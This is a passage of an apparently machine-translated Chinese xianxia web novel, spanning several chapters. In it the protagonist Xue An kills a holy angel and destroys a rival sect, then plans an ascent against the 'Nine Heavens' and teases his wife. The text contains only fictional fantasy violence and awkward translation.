    Xiao He was so grateful that he nodded and said, "Yes!"


    "It''s not too late, we will leave now!" the man said with a smile.


    As the location of the bottom level, this fourth-tier city is a distance from the bottom.


    But under the leadership of this man the group of people returned to the bottom city in just a short time.


    Before coming to the headquarters of Xingluo Dao.


    Xiao He couldn''t help widening his eyes, looking at everything in front of him in disbelief.


    Because at this moment, the headquarters of Xingluo Dao has become an empty city.


    Everyone was gone, not even a trace of it.


    "This...this..." Xiao He was trembling all over, already speechless.


    The man''s complexion was also a little solemn, "What a strong smell of blood!"


    With that said, he fell to the ground and came to the open space in front of Xingluo Dao headquarters.


    The ground is very clean, it seems that someone has just cleaned it.


    But when the man gently kicked away the floating soil on the surface, there was a mottled blood stain below.

 Chapter 1612： 1 step to the sky

    Xiao He and the people of Xingluodao were also on the ground at this moment.


    When they saw this scene, their complexions all changed.


    "My lord..." Xiao He''s eyes showed infinite anger.


    The man didn''t respond, he just sneered a few times, "What a good method! He killed everyone directly!"


    With that, he raised his head and looked in a certain direction.


    "Unfortunately, you still left a lot of clues, at least you can''t hide from my eyes!"


    After speaking, the man turned and looked at Xiao He and others.


    "Now it is certain that someone has killed all the people in your Star Luo Dao headquarters!"


    Xiao He and the other three heavenly kings were naturally not vegetarian, they all felt the difference.


    But after hearing the man''s words, he still couldn''t help showing grief and anger.


    "Who? Who would dare to kill me Xingluo Road?" Xiao He hissed angrily.


    The man raised his finger to the front, "I can feel that people are leaving from this direction, is there any clue?"


    Xiao He and the others looked in the direction the man was pointing, and their faces all showed doubts.


    "There are no forces in the bottom cities that can threaten our Xingluo Dao!" Xiao He said.


    But at this moment, Heavenly King Xingyu, who was standing behind him, suddenly remembered something. He was shocked and couldn''t help but exclaimed: "My lord, Dao Master, I remember what''s in this direction!"


    "Oh? What is it?" the man asked.


    "Yes... It''s a very evil flower!" Xingyu Tianwang trembled.


    As soon as the voice fell, Xiao He categorically said, "Impossible! This is absolutely impossible! Although Luolan Pavilion''s extremely evil flower is powerful, it is absolutely impossible to silently slaughter the entire Star Luo Dao headquarters! "


    The man suddenly became interested and licked his lips and said, "Is this Luolan Pavilion the younger sister of the Setting Sun?"


    "Yes!"


    "Haha! Such a remnant has lived for so long, and it is already earned, and whether she did it or not, you have to go over and take a look!"


    "Understood!" Xiao He immediately understood what the man meant.


    "Let''s go! Let''s see how awesome this Luolan Pavilion is!"


    And just when this man known as the Sword of Light Feather led Xiao He and the others to the Extremely Evil Flower.


    Xue An is enjoying a delicious morning tea.


    The room was silent.


    Including Min Huafeng, all the people who had secretly colluded with Xingluo Dao, all knelt down on the ground at this moment, and did not even dare to lift their heads.


    It was not until a long time later that Xue An put down the tea cup in his hand with satisfaction, picked up the silk scarf on the side, and wiped the corners of his mouth.


    Then he slowly raised his head, his eyes swept over the kneeling people, and then he smiled slightly.


    "Is there anything you want to say? Just say it while there is still time!"


    As soon as the words came out, the kneeling people all trembled, and the timid among them even cried bitterly.


    "My lord, spare your life!"


    "My lord, I didn''t mean to collude with Xing Luo Dao. They are really too strong, and I have to do it!"


    "Yes, my lord! Please forgive me!"


    Among these begging for mercy, only this Min Huafeng and a handful of people bowed their heads with expressionless expressions.


    Xue An looked at them and asked with interest, "Huh? Don''t you have anything to say?"


    Hearing this, Min Huafeng raised his head and looked at Xue An coldly, "Do you want to hear us begging for mercy? Haha, then you have made a wrong calculation!"


    "That''s the end of the matter, I have nothing to say, I want to kill or kill you, but I want to tell you one thing!"


    "Oh? What''s the matter?" Xue An said lightly.


    "Although the headquarters of Xingluo Dao has been destroyed, the Dao Master of Xingluo Dao and the other three heavenly kings are not there. If they come back, do you think you can resist their anger?"


    Speaking of this, Min Huafeng''s eyes were gloating, "When the time comes, can you still be as calm as you are now?"


    Xue An also smiled upon hearing this, "Do you think I will be scared?"


    "Haha! Fear or not, you know best in your heart!" Min Huafeng sneered.


    At this moment, he knew that he was bound to die, so he simply spared everything, trying to make Xue An feel scared.


    But he was wrong.


    Because at this moment, Xue An raised his head and looked out the window, and said quietly: "It''s really fast!"


    As he said, he turned his head and smiled at Min Huafeng, "Don''t you think I will be scared? Well, then, please keep your eyes open and see how I blow these Taoists and heavenly kings in your mouth!"


    After all, Xue An stood up and walked slowly to the window.


    There was a commotion in the room, and people didn''t understand what was going on, but seeing dozens of brilliance flying from the sky, they instantly came to the sky above the headquarters of the Evil Flower.


    The leader is the sword of light feather.


    And standing behind him were the Dao Master Xiao He of Xingluo and the three heavenly kings of Xingyu, Xinghe, and Xingmei.


    Their appearance caused the world to be quiet, and then there was an uproar.


    Min Huafeng and everyone who had fallen into despair were all delighted to see this scene.


    The expressions of Luo Lanting and others became extremely solemn.


    At this moment, but seeing the sword of light feather overlooking the base of the Evil Flower at his feet, he smiled coldly.


    "Who is Luolan Pavilion, come out and die!"


    The voice just fell.


    Xue An looked at the sword of Guangyu, and Guanghua flashed in his eyes, and then as if he had discovered something new, he suddenly chuckled and whispered.


    "Interesting, really interesting! I didn''t expect to come here! It''s really nowhere to be found after breaking through the iron shoes! It takes no effort to come! It will solve you all together!"


    After all, Xue An ascended to the sky in one step, came to the top of the sky, and stood opposite Xingluo Dao.


    Xue An made this step extremely fast, at least these people in Xingluodao didn''t have any preparations, and they all took a step backwards in shock.


    The Sword of Light Feather also changed his complexion, and then he looked at the white-clothed boy in front of him.


    After a while there was a look of contempt in his eyes.


    Because no matter how you look at it, there is not much surprise in this boy in white.


    So he asked arrogantly: "Who are you?"


    Xue An didn''t answer his words directly, just smiled faintly, and then spoke slowly.


    "Although you gods have always been hypocritical, at least on the surface they have been boasting that you are the incarnation of light! But why do you appear in this dark holy place? Could it be that you are ready to join forces?"


    As soon as these words came out, the sword of Light Feather suddenly changed, "You...you..."


    You haven''t said why for a long time.


    Xue An smiled slightly, "Is it strange how did I know? It''s very simple, because you have an aura that I am familiar with!"


    "So... who are you, the King of Light?"

 Chapter 1613： All gods are dead, but I dominate

    The complexion of the sword of Guangyu changed drastically, staring at Xue An, and asked in a deep voice, "Who are you? Why do you know the name of my father?"


    Xue An smiled, "It turns out to be your God Father!"


    "Stop talking nonsense, who on earth are you?" The Sword of Light Feather roared in surprise and anger.


    He was surprised how the white-clothed young man knew the name of his father God, and he was angry that Xue An''s careless attitude made Guangyu Sword feel a deep contempt and humiliation.


    "Oh, don''t be so anxious!" Xue An was not angry at all, but said slowly: "Speaking of which, your father and I are still old acquaintances!"


    "acquaintance?"


    "Yeah!" Xue An nodded with a smile, "I still remember that when you were on the earth, your father and king once came down to a son of God, and he was destroyed by me! You should know all these things! "


    what?


    As soon as he said this, the eyes of the sword of light feather widened, and his whole body trembled.


    Of course he knew about it.


    Because the son of God who was sent to the earth was the brother of his mother.


    Speaking of which, we have to briefly review what happened.


    Before Xue An was out of the earth, the European Bright Church had been secretly targeting China.


    Later, because of Xue An''s sudden birth, the Bright Church was under tremendous pressure.


    So they began to pray to the gods they believed in, hoping to get help.


    The **** that the Church of Light believes in is the father of the sword of light feather, the **** of light.


    At that time, the King of Light was also salivating about the forthcoming luck on the earth, so he did not hesitate to use his divine power to **** a **** son down and try to control the earth.


    But I thought it was going to happen, but I hit a big nail.


    The descending **** of light was directly exploded by Xue An, and even a clone of the **** of light was killed.


    And the huge impact caused by this incident is also an important reason why the King of Light fled to this paradise lost with the entire kingdom of God.


    I thought I could breathe a sigh of relief this time, but I never thought that it would happen by such a coincidence that I encountered this guy again.


    But at this moment, the heart of Light Feather Sword suddenly moved.


    At the time his brother died, to a large extent it was due to the restrictions of the laws of heaven on earth, which caused him to only compress his strength to one thousand percent before he could descend.


    But in this paradise lost, there is no such restraint, and he is now appearing in a full body.


    And the murderer who killed his brother doesn''t look so powerful!


    If you can take this opportunity to eradicate it in one fell swoop... it would be considered a piece of heart disease for Father King!


    These thoughts flashed through Guangyu Zhijian''s heart, and his eyes gradually turned cold when he looked at Xue An.


    "Of course I know this, and it''s a coincidence! I actually met you here again!"


    Xue An also smiled, "This may be fate!"


    "Haha! Fate? Do you know that it was my younger brother who died of your injury, and because of this incident, my Guangming Kingdom was forced to move here, but you told me fate?" Guangyu''s sword roared hoarsely .


    "Really? I''m really sorry! But what I said is wrong? You know I didn''t want to go to you so-called bright protoss to settle accounts, but I met you here, so I couldn''t help but leave it alone. Up!"


    "In other words, you are destined to die in my hands, this... isn''t it fate?"


    After listening to Xue An''s words, the sword of light feather was furious!


    "It''s extremely arrogant. It''s a wishful thinking that you want to destroy my Guangming clan!"


    After all, he suddenly raised his hand, and the clothes behind him tore instantly, and then two huge white wings stretched out from it.


    The dense cluster of feathers on the wings were gleaming with the cold light. With a slight fan, the whole person instantly flew into the sky, and then looked down at Xue An coldly.


    A violent light and coercion swept across the world, chilling.


    Xue An looked up and looked up. There was no trace of fear on his face, but he smiled happily.


    "It''s been a long time, it turned out to be a birdman!"


    The sword of Light Feather, which was accumulating power, snorted when he heard the words, "I am a noble holy angel. You dare to tease me. It is an inexcusable sin! Light feather sword kill!"


    After all, the two wings behind the sword of Light Feather stretched out suddenly, and then flapped.


    Countless light feathers turned into sharp sword lights and came straight to Xue An.


    This is also the origin of the name Light Feather Sword.


    Xue An didn''t have any reaction to these. Until these sword lights were already close, he said lightly: "Are you worthy of a sword?"


    As he said, he waved casually.


    These sword beams that had come turbulently seemed to have encountered an invisible wall, stopping at Xue An''s feet one after another, then colliding together, and finally disappearing into the invisible.


    The face of the sword of light feather changed slightly, but he did not expect a single move to obliterate the young man in white.


    I saw the brilliance in his eyes twinkling, and the **** pattern appeared in his eyebrows, and then he took a step forward.


    "God said, there must be light!"


    With a sound, the divine voice faintly vibrated in all directions.


    The power of endless light poured out, and the heaven and the earth were bright.


    But just under this holy scene, there is a terrifying murderous intent.


    These light powers are like tarsus maggots, frantically flocking to Xue An, trying to strangle him.


    Xue An''s expression was still as calm as water, and these light powers could only come within a distance of one mile from him, and then they could no longer be stored.


    Xue An calmly looked like a rock standing tall in the sea, then looked at the sword of light feathers in the sky with interest, and said with a light smile.


    "I have to admit that although your gods are not very powerful, they are all first-class players who pretend to be X! For example, this trick, let alone the lethality, the X grid is really full! What God says to have light, can light be controlled by you gods?"


    The sarcasm contained in these words made the sword of the light feather mad God said, all who do not believe in me will die! "


    boom!


    The turbulent light power instantly raged countless times, and even small cracks began to appear in the turbulent space.


    But just under this overwhelming power, Xue An''s voice came from the sea of ??light.


    "I said, all the gods are dead, but I dominate!"


    The tone was indifferent, but with unquestionable power.


    boom!


    The turbulent power of light solidified in an instant, and then it shattered silently.


    Xue An stepped out slowly, then raised his eyes to look at the horrified Light Feather Sword in the sky, and smiled faintly.


    "Look, I learned it too!"

 Chapter 1614： Messy in the wind

    See Xue An''s smile.


    The sword of light feather suddenly felt an extreme danger in his heart.


    It wasn''t until this time that he understood why God the Father had fled to this place instead of wanting revenge when he knew his brother was killed.


    It turned out that this young man was far more terrifying than he thought!


    At least the strength he just demonstrated was beyond the understanding of the sword of light feather.


    The incomprehension means a huge power gap.


    At this point, the sword of Light Feather''s fighting intent was completely eliminated, the wings suddenly flapped, his body instantly reversed, and then he was about to escape.


    In terms of speed, the Sword of Light Feather has absolute confidence.


    Because under the blessing of this pair of light feather wings, no one can catch up with him.


    This stems from the powerful blood talent of the holy angel, and it is almost unsolvable.


    But just when his figure flashed slightly, he was about to blur, and then disappeared in place.


    Suddenly someone was blowing in the back of the neck.


    This can''t help making him startled.


    At the same time, Xue An only laughed and said: "What? Do you want to escape?"


    The Sword of Light Feather was so scared that he almost screamed.


    How could this guy suddenly appear behind him?


    Could it be that he is faster than himself?


    impossible! It must be an illusion!


    These thoughts flashed through the heart of Lightfeather Sword, and at the same time his movements didn''t stop at the slightest, Lightwing flapped frantically, and he wanted to escape into the void.


    But at this moment, Xue An suddenly stretched out his hand and plunged directly into the void, grabbing a wing of the sword of light feather.


    "No...!" The Sword of Light Feather screamed in despair, and the other wing aimed at Xue An and released an immeasurable light feather.


    But these powerful swords of light feathers looked like a breeze blowing in Xue An''s eyes, and he didn''t even make his eyes blink, but just took a breath.


    puff!


    These swords of light feathers were directly blown out.


    Immediately afterwards, Xue An grabbed this wing of the Light Feather Sword and slammed it up with a sudden force, and then pinched it to the ground.


    Bang!


    As the smoke and dust were everywhere, a deep hole appeared on the ground, which was smashed out by the body of the sword of light feather.


    This is just the beginning!


    But seeing Xue An squeezed the Sword of Light Feather with force with both hands, and then smashed it crazily on the ground.


    Bang bang bang!


    In the continuous muffled sound, the earth kept trembling, which was accompanied by the scream of the sword of light feather.


    at last!


    When Xue An finally stopped, the big pits on the ground were already next to each other.


    As for the sword of light feather, it was lying on the ground with a gray head and face, already dying.


    This scene caused many people to swallow secretly.


    Because the violent power contained in this is too frightening.


    You must know that the other party is a magnificent holy angel!


    As a result, it looked like a toy in Xue An''s hands, almost smashed to death!


    At this time, Xue An released his hand.


    The Light Feather Sword''s body was limp to the ground, and its wings kept shrinking. In a blink of an eye, only a small poor wing was left.


    Xue An fell in front of him, then slowly squatted down and looked at him quietly.


    The sword of light feather was indeed stunned.


    It stands to reason that his body is extremely powerful and should not be injured so easily.


    But in Xue An''s hands, all his strengths and cultivation bases are invalid, and he can''t even move.


    That''s why it ended up in such a tragic situation.


    "Is there anything else I want to say?" Xue An asked softly.


    "Big... Your lord forgive me!" The sword of Guangyu said in horror.


    Xue An chuckled and shook his head, "I''m not satisfied with this answer! Forget it, I''ll ask your father if there is anything wrong!"


    After all, Xue An raised his hand and pointed it on the center of the eyebrow of the sword of light feather.


    puff!


    In the blood splattering, the body of the sword of light feather struggled crazily.


    But nothing helped. Xue An''s fingers slowly and firmly penetrated into the center of his eyebrows, digging out his godhead forcibly.


    When this eight-faced crystal exuding brilliance appeared in front of everyone.


    The Sword of Light Feather let out a miserable howl, and then the body broke apart, turned into a little light, and returned to nothingness.


    The audience was silent.


    In fact, from Xue An''s hands to the present, there is only one cup of tea in total.


    But in such a short period of time, the sword of light feather that came so aggressively became nothing, and even his godhood became Xue An''s collection.


    This fact makes everyone speechless.


    As for the hopeful Xiao He who followed the Sword of Light Feather and hoped that he could express this breath for Xingluo, at this moment, his mouth was wide open, and he couldn''t be alone in the wind.


    I can''t see me, I can''t see me!


    Don''t laugh, this is what Xiao He and the others are really thinking at this moment.


    They are all praying, pray that Xue Anke never think of himself!


    Unfortunately, things backfired.


    He saw Xue An withdraw his gaze from the eight-faced crystal in his hand, and then raised his head to look at Xiao He and others.


    Everyone looked pale as far as they could look.


    The corners of Xue An''s mouth gradually raised, revealing a slight smile, "Are you... from Xingluodao?"


    As soon as the voice fell, Luo Lan Ting stepped forward and said respectfully: "My lord, these people are all from Star Luo Dao, and the leader is Xiao He, the master of Star Luo Dao! Behind him are the three big stars of Star Luo Dao. King of Heaven!"


    Xue An nodded slightly when he heard the words, and then asked in a leisurely time: "Then the problem is here, you guys come aggressively, and you even brought in a helper. What do you want to do? Do you want to avenge the people of Xingludao?"


    The voice was relaxed and indifferent, as if it was stating a trivial matter.


    Hearing Xue An''s questioning, Xiao He and others cried secretly.


    You must have known that it was such a god-killing grandfather who wiped out the headquarters of Xingluo Dao, and he couldn''t say anything!


    But the matter is here It''s no use regretting.


    Xiao He took a deep breath, bowed to Xue An, and then said respectfully: "My lord, we are indeed all from the Stars, but we are not here for revenge!"


    "Then what are you planning to do?" Xue An asked slowly.


    Yes!


    With so many people here, what do you want to do?


    Is it to say that it is here to communicate with the Evil Flower?


    What a joke, even a fool would not believe it.


    And if he dared to treat the white-clothed boy in front of him as a fool, then he might die first.


    But not answering is no good, Xiao He fell into a dilemma for a while.


    At this moment, he suddenly had an idea, and hurriedly said, "My lord, if I say that we were all coerced by this sword of light feather, do you believe it?"

 Chapter 1615： If its my life, it will be in the fire...

    "Coerced?"


    "That''s right, we were visiting him in a low-level city before, but he happened to know about the incident in the headquarters of Xingluo Dao by chance, and had to follow it, but we had no choice but to agree! "


    Xiao Heyue said more smoothly, and added a lot of details, trying to make the whole thing more believable.


    But Xue An just smiled.


    "Actually, it''s normal for you to come to me for revenge! After all, the headquarters of your Xingluo Dao was indeed destroyed by me! There is nothing wrong with taking revenge!"


    "Haha!" Xiao He''s smile was extremely stiff, but he was frantically complaining in his heart.


    Yes, it is indeed what you said, but the point is that we dare to tell the truth?


    Therefore, he hurriedly said with a grin: "My lord is laughing, these men of mine have always acted nonsense. It is their retribution to die in the hands of adults this time!"


    As he spoke, cold sweat was leaking from Xiao He''s back.


    In fact, if you really compare the cultivation level, Xiao He is no less inferior to the Sword of Light Feather, but it does not have the strange talent bonuses of the Sword of Light Feather.


    But this does not mean that he has no strength.


    On the contrary, being able to hold Xingluo Dao for so many years without failing is enough to prove Xiao He''s strength.


    So he didn''t need to be so humbly.


    But at this moment, Xiao He was shocked by Xue An.


    Because from the beginning to the present, Xue An has been too calm.


    Even when the sword of Slaughtering Light Feather digs out his godhood, there is no extra expression on his face.


    This feeling is creepy enough.


    In addition, no matter how he observed it, Xiao He couldn''t perceive the slightest strangeness in Xue An.


    At this time, nothing is the biggest one.


    That''s why he is so honest.


    As for the face...


    For people like Xiao He, it is important to survive. How much money is his face worth?


    "Well said!" Xue An applauded lightly, his face full of admiration, "But the strangest thing about me is that you also know retribution?"


    Xiao Heqiang smiled and said, "My lord, of course I know the retribution, you..."


    Xue An interrupted him directly, "Since you know the retribution, then what do you think...you should end up?"


    Xiao He and the Xingluo Dao people behind him all changed in expression.


    "My lord..." Xiao He said softly with an extremely ugly expression.


    "Huh?" Xue An didn''t pay attention to these at all, raised his eyebrows slightly, and asked in a deep voice.


    Xiao He''s complexion gradually became gloomy, staring at Xue An, and then slowly took a breath.


    "Do you have to kill everything like this?"


    "Have I said that I want to kill them all? I''m just asking you, what kind of retribution I think I deserve! Is there any problem with this?" Xue An said with a smile.


    Xiao He finally couldn''t hold back.


    The clay figurines have three-point fire.


    What''s more, he thinks his posture has been low enough.


    This can''t satisfy Xue An, it is obviously that he doesn''t know what is good or bad.


    Holding this thought, he calmly rushed to the people behind him and made a gesture.


    The eyes of everyone in Xingluo Dao also became gloomy.


    "Friend, you have destroyed my home of Xingluodao. You are still so aggressive now, don''t you think it''s too deceitful?" Xiao He tried to distract Xue An with words.


    Xue An just smiled, then shook his head and sighed softly: "You still haven''t figured it out! It''s not that I''m trying to deceive people too much, I''m just asking what you deserve!"


    "Do it!"


    As soon as Xue An''s words fell, Xiao He shouted angrily.


    The timing was right, and it happened to be the moment when Xue An had just finished speaking and the Qi machine had not recovered.


    The order fell like a mountain.


    The people from Xingluo Dao who had secretly prepared for a long time rushed in, all of them took out their own tricks to suppress the bottom of the box, trying to defeat the proud white boy in front of them.


    Near, near again!


    When everyone rushed to the front, even many people could see the wavy hair on Xue An''s forehead.


    Xue An suddenly raised his head, with a cold look in his eyes.


    "Since I asked several times and you didn''t respond, then I have to do it myself and arrange a result for you!"


    Many people who were talking about this were confused and wondered what Xue An meant.


    But Xiao He, who was at the front, felt his heart tighten for no reason, as if he felt a terrifying danger.


    At this moment, Xiao He really wanted to turn around and flee, and how far he fleeed.


    But at this moment, he has rushed to Xue An, and seeing that in a moment, his long-saving ult can be released, and no matter how powerful this guy is, it is estimated that he will have to fall.


    This temptation is too great.


    So big that Xiao He couldn''t help suppressing the anxiety in his heart, and then continued to rush forward.


    But at this moment, Xue An''s mouth gradually raised, and then whispered softly: "If it takes my life, it''s up to me!"


    The voice is clear and clear, spreading to the world.


    Everyone in Xingluodao felt their bodies sank, almost overwhelmed by a violent force, and their speed slowed down accordingly.


    Xue An continued and said: "Only we can plant red lotus in the fire!"


    After that, he raised his eyes, the brilliance flashed in his eyes, and a small golden lotus appeared in his pupils.


    After seeing this almost mysterious scene.


    The nearest Xiao He was shocked, and then roared in disbelief, "How is this possible!"


    There was infinite despair in the voice.


    Because Xiao He could feel that a breath of energy was rising from Xue An''s body.


    Under this trembling power, Xiao He felt that he was so small for the first time.


    He wanted to escape.


    But everything is too late.


    Because at this moment.


    Red lotus blossoms appeared on top of Xiao He and others'' heads out of thin air, and then their roots suddenly went down.


    puff!


    No one can withstand such a blow.


    The roots came into their minds instantly.


    Immediately afterwards, countless brilliance began to surge upward from the roots.


    In an instant.


    These red lotus began to sway slightly, and then slowly bloomed.


    The moment when the lotus blossoms in anger.


    Including Xiao He, the expressions of everyone in Xingluo Dao became very dull.


    It was not until a long time later that Xiao He said in a vague voice: "Good trick... good trick!"


    Words fall.


    But seeing everyone in Xingluo Dao shook together, and then the whole body turned into fly ash, scattered between the sky and the earth.


    Such a scene horrified everyone.


    Everyone knows that Xue An is great.


    But what people didn''t expect was that it would be so powerful.


    That''s all the elite of Xingluo Dao!


    Was he killed by Xue An?


    But they did not see it.


    At this moment, Xue An, with his back to them, the brilliance in his eyes became a little dim.


    Obviously, this blow also caused a lot of pressure on Xue An.

 Chapter 1616： Can you dare to kill the 9th heaven with me?

    Luo Lanting opened the door respectfully and walked into the room.


    The room was a little dark, and the light came in through the thin gauze curtain, making everything a little hazy.


    A chair was placed by the window, with the back facing the door, and the person sitting on it was invisible.


    But from the water vapor rising on the coffee table in front of the chair, it can be seen that someone is drinking tea.


    Luo Lanting''s expression became more respectful, and he bowed his head and said, "My lord, are you looking for me?"


    After a silent silence, the chair turned slightly, and Xue An, who was sitting on it, held a tea cup and looked at Luolan Pavilion with a smile.


    "Is everything done?"


    "Master Hui, it''s all done! The territories under the jurisdiction of Xingluo Dao have all been included in the Evil Flower. As for the allies who betrayed me, they have already gone where they should go!"


    When he said this, tears loomed in Luo Lanting''s eyes.


    Because she has been waiting for this day for too long.


    When her brother died in front of her, she made a vow to destroy the enemy.


    And Xingluodao is the most important one.


    It is a pity that in the past few years, due to the disparity in strength, Luo Lan Pavilion can only take a defensive position, and is unable to destroy Xing Luo Dao.


    As a result, today, the goal was suddenly achieved.


    All the people in Xingluodao were killed by Xue An alone.


    Although he did not destroy the enemy by himself, Luo Lanting was already very satisfied.


    This is why she is more respectful to Xue An.


    After Xue An listened, he nodded slightly, "Very good! But..."


    Xue An turned around, "Do you think this will end there?"


    Luo Lanting looked solemn after hearing the words, which was what she had always worried about.


    We must know that since those light gods can occupy the bottom rank, it means that their strength must be extremely powerful.


    And this time even the Light Feather Sword, the son of God King, died here. Obviously, this matter will not end so easily.


    The gang of light gods will certainly not give up. How to deal with the Evil Flower will be a big problem.


    Xue An saw the solemn look on Luo Lanting��s face and couldn��t help but smile, ��Don��t be so nervous, it��s just a group of hypocritical gods, I don��t care about it! And what I��m talking about is not about them. !"


    Luo Lanting was startled slightly, not understanding what Xue An was talking about.


    Xue An said indifferently: "Do you really think that your brother''s hatred can be reported as such?"


    As soon as this statement came out, Luo Lanting was shocked, and a look of horror appeared in his eyes, "Sir, you..."


    Xue An nodded, "Yes, your brother didn''t die in the hands of Xingluo Dao or these gods at all, the real culprit..."


    Xue An raised his hand and pointed upwards, "On top!"


    Luo Lanting''s complexion gradually turned pale.


    In fact, she has always had a faint hunch about the death of her elder brother.


    But trapped in vision and strength, she just had a premonition.


    Now it was confirmed from Xue An''s mouth, how could this not make her terrified.


    Luo Lanting lowered his head, after a long time he raised his head to look at Xue An and hissed: "Why?"


    "Why do those big shots attack my brother?"


    "It''s very simple! Because they are afraid of the person who passed the Evil Flower to your brother!" Xue An said leisurely.


    "That person..." Luo Lanting whispered softly, his body trembling slightly.


    Xue An went on and said: "Yes! And if I guessed correctly, that person must have been in an accident now, otherwise, even if you give this group of guys ten courage, they will not dare to attack your brother without authorization, because that Guy... but it''s short-sighted!"


    Luo Lanting''s tears fell rustlingly.


    If things are as what Xue An said, isn''t the hope of revenge for my elder brother so slim?


    Luo Lanting is very clear about her own strength. Even in the lowest city, she can''t be said to be one of the best, let alone those big people who occupy the high-level cities and have unpredictable strength?


    Xue An also saw the despair in her eyes, but he didn''t comfort him, just asked suddenly.


    "Hearing this, are you scared?"


    Luo Lanting shook his head and said firmly: "Not afraid!"


    "Aren''t you really afraid? That''s a group of unpredictable strengths!" Xue Anyi said pointedly.


    Luo Lanting still did not hesitate, "I''m really not afraid, but... I feel sorry for my brother and his master!"


    Luo Lanting said with difficulty, with a sad expression on his face.


    Xue An laughed, "Very good! It seems that that guy will have more apprentices in the future! After all, he likes you as a determined person the most!"


    Luo Lanting didn''t understand the meaning of Xue An''s words, so he could only look at Xue An with a confused face.


    In fact, she has various question marks for Xue An at this moment.


    For example, who is he? Why is there such a strong strength and so on!


    As if feeling the confusion in Luo Lanting''s heart, Xue An smiled faintly, then stood up and walked to the window.


    Wow!


    The curtains were pulled abruptly, and the bright light filled the room at once.


    Luo Lanting''s pupils shrank slightly, and only felt that Xue An, standing in front of the window, seemed to be plated with a layer of gold, making it difficult to look directly.


    at the same time.


    Xue An looked out the window and said indifferently without turning his head back: "You don''t need to think about who I am. What you need to consider now is how to solve those wanton guys!"


    Having said that, Xue An suddenly turned around and looked at Luolan Pavilion with brilliant eyes.


    "You are not afraid, this is good! But do you have the guts to kill the nine heavens with me?"


    Luo Lanting''s body was shocked, and he murmured almost idiotically: "Kill the Nine Heavens?"


    Xue An nodded, "Yes!"


    Then he raised his eyes to look at the looming city in the sky, and said lightly: "This place is very special and cannot be directly surpassed, so if you want to find those guys who started secretly You can kill it layer by layer!"


    Luo Lanting''s eyes gradually became solemn, then he took a deep breath and nodded solemnly at Xue An, "My lord, I...Wish to go!"


    "You have to think carefully, this is almost against the entire Paradise Lost!" Xue An said lightly.


    Luo Lanting said without hesitation: "I have considered it clearly, this matter needs to be ended after all, and the result is either I die or they die, it''s that simple! There is no second choice!


    Xue quietly looked at Luolan Pavilion with a firm face, and a touch of appreciation appeared in his eyes.


    "Very good! In that case, it should not be too late and we will leave now!"


    "Yes!" Luo Lanting immediately asked with some hesitation: "My lord, where will our first stop be?"


    "The first stop..." Xue An smiled slightly, "Naturally, I have to meet my old friend for a while!"

 Chapter 1617： Women just want to shame

    Luo Lanting went down to clean up.


    After Xingluo Dao was destroyed, the current extremely evil flower has become the leading force in this bottom city.


    This also means all kinds of chaotic affairs.


    If Luo Lan Ting wants to leave, he must first explain these things clearly.


    When she left, Xue An stood quietly in front of the window for a while.


    Then I saw a little brilliance projected from the center of his eyebrows, forming a phantom in front of him.


    It is An Yan.


    This is also a secret technique that An Yan learned only recently.


    In this way, she can easily come out of the Fubao Xiaolou, while the body remains in the Fubao Xiaolou, which is enough to ensure safety.


    Seeing An Yan first spin around Xue An naughty a few times.


    In this state, she looked like a light and shadow of no quality, so she could easily rub against Xue An''s body.


    Xue An smiled when he saw it and stretched out his hand to hug An Yan, but he was completely empty.


    It turned out that at that moment, An Yan suddenly dispersed, and then regrouped behind Xue An.


    Then An Yan giggled, "Stupid husband, you can''t catch me now! Hehe!"


    The words seemed like a little girl who succeeded in stealing the cake, full of pride.


    Xue An, who rushed to the air, didn''t say anything, just rubbed his chin slowly, and then sighed slightly.


    "Yan''er, you are really getting naughty now!"


    "Hehe, how about being naughty! You have the ability to catch me!" An Yan became increasingly "arrogant".


    "Are you stimulating me?" Xue Anhao said in a leisurely manner.


    "Hehe, dumb husband, I am not what I used to be! You can''t catch me at all! If you catch..."


    "Huh? How?"


    "Then...then punish whatever you want!"


    Xue An''s eyes lit up, "This is what you said! If you get caught by me, be careful of your ass!"


    Although it was in a phantom state, when Xue An finished speaking, he could still see An Yan''s face gradually blushing.


    "Bah, badass! Smelly hooligan!"


    "Hehe! I would like to lose the bet, I''m here!"


    Xue An smiled very evilly, and eagerly stretched out his "devil''s claws".


    An Yan suddenly became nervous, "Hey, say yes first, you can''t use those weird tricks! And you have to use this house as the boundary, even if I win out of this room!"


    "Okay, I don''t need it!"


    "There is still no way to seal the space with divine consciousness!"


    Xue An frowned slightly, "This..."


    "Why? Afraid? Hehe, it seems that your husband will be afraid too! In this case, you can simply give up!" An Yan smiled more and more happily.


    "Give up?" Xue An chuckled, "Silly Yan''er, you are too underestimating your husband, isn''t it just divine mind? No need, no need!"


    "Huh?" An Yan didn''t expect Xue An to promise so readily, she couldn''t help being a little dumbfounded when she was caught off guard.


    "Anything else to add?" Xue An asked.


    "Hmm..." An Yan hesitated a little, and suddenly his eyes lit up, and said quickly: "And you can''t touch me with your hands and feet!"


    "Hey, this condition is a bit too much! How can I catch you without meeting you!" Xue An said silently.


    "Hee hee, I don''t care, don''t you say that you are great! If you don''t grab me with your hands and feet, then you will be the best!" An Yan thought she had caught Xue An''s painful foot, and couldn''t help but said with pride.


    Unexpectedly, Xue An laughed, "Okay! Then I promise you!"


    An Yan didn''t expect that Xue An would actually agree, and she was taken aback.


    Seeing Xue An''s figure flashed, he disappeared in the same place instantly, and when he reappeared, he had already come to An Yan.


    An Yan was so scared that Hua Rong turned pale, and screamed, "I haven''t said the beginning yet! This doesn''t count!"


    Xue An shrugged and looked at An Yan with a smile, "Okay! Whatever you want!"


    "Open...Start!"


    In fact, when the word was opened, An Yan''s figure had already flown out.


    Anyan in this state, neither the reaction nor the speed can be calculated by common sense.


    It was just a flash, An Yan had already flown to the door, and was about to fly out soon.


    But at this moment, a group of black shadows suddenly appeared in front of her, and An Yan slammed into it firmly.


    Before An Yan could react, Xue Anye leaned down and bit on An Yan''s lips "viciously".


    Although it was said to be a phantom state, because An Yan''s form contained spiritual power, the kiss still made her eyes widen instantly and she was stupid.


    After a long time, Xue An slowly let go of his mouth. Seeing An Yan''s still bewildered face, he couldn''t help but chuckled in her ear.


    "How is it? I won you without my hands, feet, or spiritual mind! I would like to accept the bet. How do you punish you?"


    An Yan''s eyes began to glow with water, then he stuck out his tongue, and said slyly, "Huh! I don''t want to bet!"


    "Hey, you are shameless!"


    "How about shame? A woman can shame. You can bite me if you have the ability!"


    "This is what you said!" Xue An said with a smile.


    An Yan suddenly felt bad, and just wanted to dodge, but it was still a step too late.


    "Well����."


    Finally, Xue An released his mouth.


